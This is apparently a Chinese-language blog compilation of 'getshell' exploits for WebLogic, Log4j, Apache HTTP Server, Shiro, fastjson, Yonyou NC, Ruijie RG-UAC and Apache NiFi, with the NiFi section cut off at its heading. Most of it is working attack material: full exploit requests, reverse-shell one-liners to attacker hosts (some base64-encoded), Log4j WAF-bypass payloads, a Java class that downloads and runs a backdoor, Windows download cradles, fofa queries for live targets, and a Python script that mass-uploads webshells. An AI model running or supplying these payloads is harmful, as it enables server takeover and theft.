<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    部分getshell漏洞匯總

    一顆小胡椒2022-07-20 10:12:45

    1、weblogic漏洞

    1.1 cve-2020-14882 未授權命令執行

    一、漏洞描述

    未經身份驗證的遠程攻擊者可通過構造特殊的 HTTP GET 請求,結合 CVE-2020-14883 漏洞進行利用,利用此漏洞可在未經身份驗證的情況下直接接管 WebLogic Server Console,并執行任意代碼,利用門檻低,危害巨大。

    二、影響版本

    Oracle WebLogic Server版本

    10.3.6.0

    12.1.3.0

    12.2.1.3

    12.2.1.4

    14.1.1.0

    三、漏洞復現

    漏洞環境為vulhub中的cve-2020-14882

    1、訪問url地址+/console/images/%252E%252E%252Fconsole.portal?,
    

    即可未授權訪問console后臺,但是權限比較低

    備注:此處會出現個問題,在復現的環境中直接拼接/console/%2e%2e%2fconsole.portal?nfpb=true&pageLabel=HomePage1會提示404,此時需要替換為之前的地址即可,地址如下:

    http://192.168.136.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1
    

    即可進入后臺

    2、結合CVE-2020-14883獲取系統shell,針對weblogic 12.2.1以上版本利用poc如下


    POST /console/css/%252e%252e%252fconsole.portal Host: 192.168.136.128:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedcmd: lsContent-Length: 1258_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if (cmd != null) {    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));    res.getServletOutputStream().flush();    res.getWriter().write("");}executeThread.interrupt();");
    

    收集到常見的weblogic寫入路徑如下:

    • 寫入console images目錄

    shell物理路徑

    \Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
    

    訪問路徑:

    /console/framework/skins/wlsconsole/images/shell.jsp
    
    • 寫入uddiexplorer目錄

    shell物理路徑:

    \Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\隨機字符\war\shell.jsp
    

    訪問路徑:

    /uddiexplorer/shell.jsp
    
    • 寫入應用安裝目錄

    shell物理路徑

    \Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\項目名\隨機字符\war\shell.jsp
    

    訪問路徑

    /項目名/shell.jsp
    

    config.xml的查看路徑,尤其當weblogic部署了多個網站時,可以根據配置文件,確定shell的寫入路徑是否正確

    user_projects/domains/base_domain/config
    

    4、構造xml進行shell反彈(此處利用的環境是vulhub CVE-2018-2628)

    構造的xml格式如下,xx.xx.xx.xx替換為可以訪問到的ip地址:

    <?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[bash -i >& /dev/tcp/xx.xx.xx.xx/5555 0>&1]]></value>          </list>        </constructor-arg>    </bean></beans>
    

    本次測試將test.xml文件放到vps中,訪問地址如下http://xx.xx.xx.xx/test.xml拼接url地址如下:

    http://192.168.136.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLbel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://xx.xx.xx.xx/test.xml%22)
    

    訪問該地址會出現報錯一些錯誤提示:

    但是實際shell已經反彈成功,vps已經成功反彈回shell

    備注:互聯網的漏洞利用可能會比對少,但是在內網可能會存在,可以作為獲取服務器權限的一種方式。

    1.2 cve-2021-2109 weblogic 遠程命令執行

    一、漏洞描述

    該漏洞為Weblogic的遠程代碼執行漏洞。漏洞主要由JNDI注入,導致攻擊者可利用此漏洞遠程代碼執行。

    二、影響版本

    WebLogic Server 10.3.6.0.0

    WebLogic Server 12.1.3.0.0

    WebLogic Server 12.2.1.3.0

    WebLogic Server 12.2.1.4.0

    WebLogic Server 14.1.1.0.0

    三、漏洞復現

    靶機環境為:vulhub CVE-2020-14882

    利用到工具:

    JNDIExploit-1.3-SNAPSHOT.jar

    nc

    1、vps運行ldap需要java1.8環境

    -i 后面為vps的ip地址

    java -jar JNDIExploit-1.3-SNAPSHOT.jar -i xx.xx.xx.x
    

    2、構建數據包如下,xx.xx.xx為vps的ip地址

    此處注意ladp后面的ip地址中,最后一位地址前是;不是.

    POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1Host: 192.168.136.128:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Cookie: ADMINCONSOLESESSION=dykcURUTuEtLXZzFYo8hQccvfn_mp5Ot0xarNSwAlpqPwYoJkYXE!-274288217; ADMINCONSOLESESSION=QnKmvVJK3SMQMjhfQzK1XgLLs69G7fwCWhRZCpxyLrcnT8Dv3h8n!10986660Connection: closeUpgrade-Insecure-Requests: 1cmd:pwdContent-Type: application/x-www-form-urlencodedContent-Length: 176
    _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xx.xx.xx;xx:1389/Basic/WeblogicEcho;AdminServer%22)
    

    可成功執行命令

    ldap接收到數據:

    3、反彈shell

    對反彈shell命令進行base64編碼,x.x.x.x為vps監聽地址

    bash -i >& /dev/tcp/x.x.x.x/12345 0>&1
    

    vps開啟nc監聽

    nc -lvvp 12345

    執行如下命令:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My8xMjM0NSAwPiYxCgo=}|{base64,-d}|{bash,-i}
    

    burp發送數據包,此時返回為空

    POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1Host: 192.168.136.128:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Cookie: ADMINCONSOLESESSION=dykcURUTuEtLXZzFYo8hQccvfn_mp5Ot0xarNSwAlpqPwYoJkYXE!-274288217; ADMINCONSOLESESSION=QnKmvVJK3SMQMjhfQzK1XgLLs69G7fwCWhRZCpxyLrcnT8Dv3h8n!10986660Connection: closeUpgrade-Insecure-Requests: 1cmd:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My8xMjM0NSAwPiYxCgo=}|{base64,-d}|{bash,-i}Content-Type: application/x-www-form-urlencodedContent-Length: 176
    _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://144.168.62;143:1389/Basic/WeblogicEcho;AdminServer%22)
    

    vps上發現已經反彈成功

    備注:有時候可能出現反彈不成功,可以多試幾次。備注:有時候可能出現反彈不成功,可以多試幾次。

    2、apache漏洞

    2.1log4jCVE-2021-44228 rce漏洞

    一、漏洞描述

    Apache Log4j2是一個基于Java的日志記錄工具。該工具重寫了Log4j框架,并且引入了大量豐富的特性。該日志框架被大量用于業務系統開發,用來記錄日志信息。大多數情況下,開發者可能會將用戶輸入導致的錯誤信息寫入日志中。

    二、影響版本

    2.0-beta9 <= Apache Log4j <= 2.3

    2.4 <= Apache Log4j <= 2.12.1

    2.13.0<= Apache Log4j <= 2.15.0-rc1

    三、漏洞復現

    1、靶機環境:https://ctf.bugku.com/challenges/detail/id/340.html

    2、vps上建立LDAP服務

    java -jar JNDIExploit-1.3-SNAPSHOT.jar -i xx.xx.xx.xx
    

    3、開啟nc監聽

    nc -lvnp 12345
    

    4、驗證漏洞

    反彈shell代碼,其中xx.xx.xx.xx是vps的公網ip地址,

    ${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/命令的base64編碼}
    需要進行base64編碼,此處是用的nc,常見的使用bash反彈
    bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1
    nc xx.xx.xx.xx 12345 -e /bin/sh
    ${jndi:ldap://xx.xx.xx.xx:1389/Basic/Command/Base64/bmMgIDE0NC4xNjguNjIuMTQzIDEyMzQgLWUgL2Jpbi9zaA==}
    

    執行完之后,在vps上可接收到反彈的shell,可執行相關命令,nc連接信息如下!

    ldap流量信息如下:

    收集部分繞過waf語句:

    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
    ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
    ${jndi:rmi://adsasd.asdasd.asdasd}
    ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
    ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
    

    2.2CVE-2021-41773

    一、漏洞描述

    Apache HTTP Server 是 Apache 基礎開放的流行的 HTTP 服務器。在其 2.4.49 版本中,引入了一個路徑體驗,滿足下面兩個條件的 Apache 服務器將受到影響:版本等于2.4.49

    Require all granted(默認情況下是允許被訪問的)。

    攻擊者利用這個漏洞,可以讀取到Apache服務器Web目錄以外的其他文件,或者讀取Web中的腳本源碼,或者在開啟cgi或cgid的服務器上執行任意命令。

    二、影響版本

    Apache HTTP Server 2.4.49

    三、漏洞復現

    利用vulhub漏洞環境CVE-2021-41773進行復現

    1、利用該漏洞進行文件讀取

    curl -v --path-as-is http://192.168.136.128:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    

    2、命令執行

    curl --data "echo;id" 'http://192.168.136.128:8080/cgi-bin/.%2e/.%2e/.%2e/%2e/bin/sh'  # Linuxcurl --data "echo;id" "http://192.168.136.128:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"  # Windows
    

    3、反彈shell

    由于靶機環境中bin/sh指向的是dash,不能直接進行bash反彈,可先講bash寫入下進行執行,vps首先開啟監聽,步驟如下:

    bash命令寫入sh文件

    curl --data "echo;echo 'bash -i >& /dev/tcp/xx.xx.x.xxx/8888 0>&1'>> /tmp/sh
    

    執行sh文件

    curl --data "echo;bash /tmp/shell.sh" 'http://192.168.136.128:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
    

    可反彈成功

    備注:由于42013為41773的修復不充分,所以也可利用42013方法就行shell反彈。

    2.3 CVE-2021-42013

    一、漏洞描述

    Apache HTTP Server 2.4.50 中對 CVE-2021-41773 的修復不夠充分。攻擊者可以使用路徑遍歷攻擊將 URL 映射到由類似別名的指令配置的目錄之外的文件。如果這些目錄之外的文件不受通常的默認配置 “要求全部拒絕” 的保護,則這些請求可能會成功。如果還為這些別名路徑啟用了 CGI 腳本,則可以允許遠程代碼執行。

    二、影響版本

    Apache 2.4.49 和 Apache 2.4.50

    Apache HTTP Server 2.4.49

    三、漏洞復現

    利用環境:

    vulhub靶機環境

    1、搭建環境成功后,可正常訪問

    2、漏洞利用poc

    curl -v --path-as-is http://192.168.136.128:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd–path-as-is
    參數是不對url進行壓縮,直接在瀏覽器中訪問該地址會提示404,是因為瀏覽器會默認對一些特殊字符進行編碼,利用curl請求結果如下:
    

    3、若服務器上mods cgi 或 cgid 后,此路徑遍歷漏洞將允許任意命令執行,利用poc如下

    curl -v --data "echo;id" 'http://192.168.136.128:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'或者curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.136.128:8080/ci-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
    

    4、反彈shell

    直接利用bash -i >& /de/tcp/ip/port 0>&1,進行反彈shell時,發現靶機環境無法反彈成功,通過查看docker日志發現Bad fd number,通過互聯網上搜索發現原因如下,/bin/sh 指向的為dash,反彈shell中用到的為bash,dash和bash語法不同

    解決辦法為將dash重新變回bash,利用bash -c 參數,反彈shell poc如下:bash -c '{echo,payload_base64}|{base64,-d}|{bash,-i}'將bash -i >& /dev/tcp/xx.xx.xx.xx.xx/8888 0>&1,進行base64編碼后內容如下YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My84ODg4IDA+JjE=,最終payload如下bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My84ODg4IDA+JjE=``}|{base64,-d}|{bash,-i}'
    執行如下數據包,vps可成功反彈shell成功
    POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: 192.168.136.128:8080Content-Type: application/textUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36Content-Length: 105Connection: closeecho;bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
    

    也可以利用工具進行反彈

    工具下載地址:

    https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013
    

    2.4 shiro反序列化漏洞

    一、漏洞描述

    Shiro 是 Java 的一個安全框架。Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密–>反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。

    二、影響版本

    Apache Shiro <= 1.2.4

    三、漏洞復現

    漏洞環境:vulhub下的CVE-2020-1957

    shiro反序列化是現在漏洞數量相對已經很少了,復現該漏洞想以該漏洞為例子介紹下一些工具的使用方法,常用的工具主要是ShiroExploitV31,本次測試案例中主要使用shiro_tool.jar

    1、有的時候可能存在shiro反序列化漏洞,但是無法利用成功, 可考慮下是否無網站采用了https的方法或是添加http的請求頭

    2、本次的測試主要以shiro_tool.jar為主,檢測到存在shiro反序列化漏洞后,可利用x=whoami進行命令執行,可進行文件下載

    收集下liunux常見的下載命令:

    wgetcurl
    

    windows下常見下載命令

    證書下載:

    certutil -urlcache -split -f http://xx.xx.xx.xx/aa.txt  webapps/nc_web/ncnew.jSP
    

    bitsadmin下載

    要求服務器支持Range標頭
    bitsadmin /rawreturn /transfer down "http://XX.XX.XX.XX/aa.txt" D:\robots.txt
    如果需要下載過大的文件,需要提高優先級。配合上面的下載命令。再次執行
    bitsadmin /setpriority down foreground
    

    powershell下載:

    powershll (new-object Net.WebClient).DownloadFile('http://xx.xx.xx.xx/aa.txt','D:\robots.txt')
    

    vbs下載:

    下載腳本如下,可以echo一行行寫入

    Set post=CreateObject("MSXML2.XMLHTTP") set shell=createobject("Wscript.shell")post.open "GET","http://xx.xx.xx.xx/aa.txt",0 post.send()set aGet =CreateObject("ADODB.Stream") aGet.Mode=3 aGet.Type=1 aGet.Open() aGet.write(Post.responseBody) aGet.SaveToFile "D:\AA.txt",2
    

    還可以保存腳本后在指定下載

    echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"sof.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> down.vbs
    cscript downfile.vbs http://xx.xx.xx.xx/a.ps1 D:\x.ps1
    

    然后利用cscript 執行相關腳本:cscript download.vbs

    ie瀏覽器下載,cmd啟動IE,訪問網址,通過緩存獲得下載的文件

    start "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/aa.txt
    powershell -executionpolicy bypass -Command "Start-Process -FilePath \"C:\ProgramFiles\Internet Explorer\iexplore.exe\" -ArgumentList http://192.168.62.131/aa
    

    查找命令:

    dir %LOCALAPPDATA%\*aa*.txt /s /b
    

    由于此時瀏覽器是打開狀態,無法對文件進行修改刪除等操作,可通過如下命令查看相關進程并結束

    wmic process get name,executablepath,processid|findstr iexplore.exe
    taskkill /F  /PID
    

    此時可對下載的文件進行移動、修改等操作,cmd下常見的文件操作命令如下:

    復制文件、文件夾
            copy 1.txt 2.txt           //文件        xcopy D:\1 D:\2 /s /e   //文件夾rmdir:刪除空文件夾rd:刪除文件echo寫入文件:echo > b.txt ren a.txt b.txt //重命名文件ren a b          //重命名文件夾type a.txt
    

    3、反彈shell

    vps開啟監聽8888,攻擊者執行利用bash反彈,執行如下命令,將反彈的bash指令進行base64編碼

    bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuxxxxxxxxxx4IDA+JjE=``}|{base64,-d}|{bash,-i}'
    

    vps可成功接收反彈的shell

    2.5 CVE-2020-1957未授權訪問

    一、漏洞描述

    Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易于理解的API,您可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。

    二、影響版本

    Apache Shiro < 1.5.3

    三、漏洞復現

    環境搭建:vulhub CVE-2020-1957

    1、搭建好環境訪問如下

    2、攔截數據包直接訪問admin提示302

    3、修改admin為//111/..;/admin/,發現可成功訪問

    4、其他可訪問url:

    ;/admin//;/admin//任意/..;/admin/

    四、修復建議

    升級到最新版本。

    3、產品漏洞

    3.1 fastjson 1.2.24反序列化漏洞

    一、漏洞描述

    fastjson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字符串,fastjson在解析json的過程中,支持使用autoType來實例化某一個具體的類,并調用該類set/get方法來訪問屬性。通過查找代碼中相關的方法,即可構造出一些惡意利用鏈。

    二、影響版本

    fastjson<=1.2.24

    三、漏洞復現

    利用vulhub 1.2.24-rce進行環境搭建

    1、漏洞檢測,替換dnslog地址,如果存在漏洞,刷新dnslog,會收到請求信息

    POST / HTTP/1.1Host: 192.168.136.128:8090Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=8212EC7B4FF8BE14C0027705CD578A03Connection: closeContent-Type: application/jsonContent-Length: 64
    {"zeo":{"@type":"java.net.Inet4Address","val":"xxxxx.ceye.io"}}
    

    2、漏洞分析

    簡單對該漏洞進行分析,遠程命令執行流程如下:

    (1)、攻擊者A利用payload攻擊受害主機B;

    (2)、受害主機B存在反序列化漏洞,遠程調用rmi,去連接存在rmi服務的主機C;

    (3)、主機c的rmi服務指定加載惡意java代碼,進而導致受害機器B主動加載惡意java代碼,最終導致受害主機B執行惡意代碼;

    通常情況下rmi服務和惡意java代碼為一臺服務器。

    3、反彈 shell

    java反彈shell代碼文件為TouchFile.java,代碼內容如下:

    import java.lang.Runtime;import java.lang.Process;public class payload {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands =  {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.136.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};;            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {        }    }}
    

    利用javac編譯成TouchFile.class文件,將該文件放在網站服務器上,可用apache、phpstudy等進行web服務搭建。

    RMI服務搭建,vps上執行如下語句:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.136.1/#TouchFile" 9999
    

    vps開啟nc監聽:

    nc -lvp 8888
    

    攻擊者執行命令如下

    POST / HTTP/1.1Host: 192.168.136.128:8090Pragma: no-cacheCache-Control: no-cacheAccept: text/plain, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36X-Requested-With: XMLHttpRequestReferer: http://192.168.136.128:8090/Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 169{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.136.1:9999/TouchFile",        "autoCommit":true    }}
    

    本次的測試環境,vps和rmi服務為同一臺服務器,測試效果如下:

    攻擊機效果:

    vps開啟rmi服務:

    vps接收反彈shell:

    4、ldap監聽上線cs

    javac編譯class文件http://192.168.136.1/test.exe為cs后門的下載地址

    import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"powershell", "-Command", "(new-object System.Net.WebClient).DownloadFile('http://192.168.136.1/test.exe','test.exe');start-process test.exe"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
    

    開啟ldap服務

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.136.146/#evilclass" 9999
    

    burp數據包:

    POST /fastjson HTTP/1.1Host: 192.168.112.140:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 133{@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.136.146:9999/evilclass","autoCommit":true}
    

    備注:在反彈shell的時候,需要注意的是接收shell主機的java版本要和受害主機版本相近,我在開始復現的時候,rmi服務可以接收到數據,但是反彈shell卻不成功,后來發現我的靶機java版本是1.8,反彈shell主機環境為11,所以一直導致無法反彈成功。

    基于 RMI 的利用方式,JDK 版本限制在 6u132、7u131、8u121 之前,在 8u122 及之后的版本中,加入了反序列化白名單的機制,關閉了 RMI 遠程加載代碼基于 LDAP 的利用方式,JDK 版本限制于 6u211、7u201、8u191、11.0.1 之前,在 8u191 版本中,Oracle 對LDAP 設置限制,發布了 CVE-2018-3149,關閉 JNDI 遠程類加

    3.2 nc beanshell遠程代碼執行漏洞

    一、漏洞描述

    2021年06月03日,用友官方發布了用友BeanShell遠程代碼執行漏洞的風險通告,漏洞編號為CNVD-2021-30167,漏洞等級:嚴重,漏洞評分:9.8。用友NC是面向集團企業的管理軟件,其在同類市場占有率中達到亞太第一。成功利用該漏洞的攻擊者可以直接在目標機器上執行任意代碼,并以用友NC軟件的用戶權限執行任意命令。該漏洞是由于用友NC對外開放了BeanShell接口,攻擊者可以在未授權的情況下直接訪問該接口,并構造惡意數據執行任意代碼并獲取服務器權限。該漏洞利用復雜度低,攻擊者無需用戶交互及相關權限便可直接執行任意代碼,危害度很高。

    二、漏洞復現

    影響版本:

    NC6.5版本

    訪問servlet/~ic/bsh.servlet.BshServlet路徑出現 BeanShell Test Servlet

    獲取webshell方式

    1、嘗試使用echo 通過命令執行的方式寫出webshell

    2、嘗試使用上傳漏洞獲取webshell

    3、證書下載,,本次的測試環境,利用該種方式寫入成功

    exec("cmd.exe /c  certutil -urlcache -split -f http://xx.xx.xx.xx/aa.txt  webapps/nc_web/ncnew.jsp");
    

    可成功寫入webshell,利用特斯拉進行連接。

    4、通過文件上傳漏洞寫入,利用exp如下,執行該exp,可成功在根目錄下寫入

    T00ls.jsp文件,

    import requestsimport threadpoolimport urllib3import sysimport argparse
    urllib3.disable_warnings()proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}header = {    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",    "Content-Type": "application/x-www-form-urlencoded",    "Referer": "https://google.com",}
    def multithreading(funcname, filename="url.txt", pools=5):    works = []    with open(filename, "r") as f:        for i in f:            func_params = [i.rstrip("\n")]            works.append((func_params, None))    pool = threadpool.ThreadPool(pools)    reqs = threadpool.makeRequests(funcname, works)    [pool.putRequest(req) for req in reqs]    pool.wait()
    def wirte_targets(vurl, filename):    with open(filename, "a+") as f:        f.write(vurl + "\n")        return vurl
    def exp(u):    uploadHeader = {        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",        "Content-Type": "multipart/form-data;",        "Referer": "https://google.com"    }    uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"    shellFlag="sectest"    uploadData+=shellFlag    try:        req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)        if req1.status_code == 200 :            req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)
                if  req3.text.index(shellFlag)>=0:                printFlag = "[Getshell]" + u+"/t00ls.jsp"  + "\n"                print (printFlag)                wirte_targets(printFlag, "vuln.txt")    except :        pass    #print(printFlag, end="")
    if __name__ == "__main__":    if (len(sys.argv)) < 2:        print('useage : python' +str(sys.argv[0]) + ' -h')    else:        parser =argparse.ArgumentParser()        parser.description ='YONYOU UC 6.5 FILE UPLOAD!'        parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')        parser.add_argument('-r',help="url list to file",type=str,dest='check_file')        args =parser.parse_args()        if args.check_url:            exp(args.check_url)
            if(args.check_file):            multithreading(exp, args.check_file, 8) 
    

    備注:

    在很多情況下會出現不允許訪問BeanShell 頁面,不允許訪問該頁面并不意味著不存在漏洞,可嘗試利用工具進行測試,此處利用nc6.5.jar,可直接執行相關命令。

    3.3 銳捷RG-UAC統一上網行為管理審計系統賬號密碼信息泄露漏洞 CNVD-2021-14536

    一、漏洞描述

    銳捷RG-UAC統一上網行為管理審計系統存在賬號密碼信息泄露,可以間接獲取用戶賬號密碼信息登錄后臺

    二、漏洞復現

    fofa搜素關鍵字:

    title=”RG-UAC登錄頁面” && body=”admin”

    打開其中一個案例

    查看源碼,在源碼中發現賬號admin加密后的md5密碼

    進行md5解密可獲取明文密碼,利用賬戶admin以及該密碼可成功登錄銳捷設備

    三、備注

    在進行復現該漏洞時,發現雖然源碼中能發現admin的賬戶、密碼,但是在實際登錄的時候可能不成功,出現“不存在該賬戶“、”密碼錯誤”等提示,考慮可能已經進行了加固。

    3.4 Apache NiFi API遠程代碼執行

    一、漏洞描述

    一個易用、強大、可靠的數據處理與分發系統。基于Web圖形界面,通過拖拽、連接、配置完成基于流程的編程,實現數據采集等功能。

    影響版本:

    Apache NiFi <= 1.12.1

    二、漏洞復現

    fofa搜索:

    fofa:”nifi” && title==”NiFi”

    漏洞復現:

    poc如下

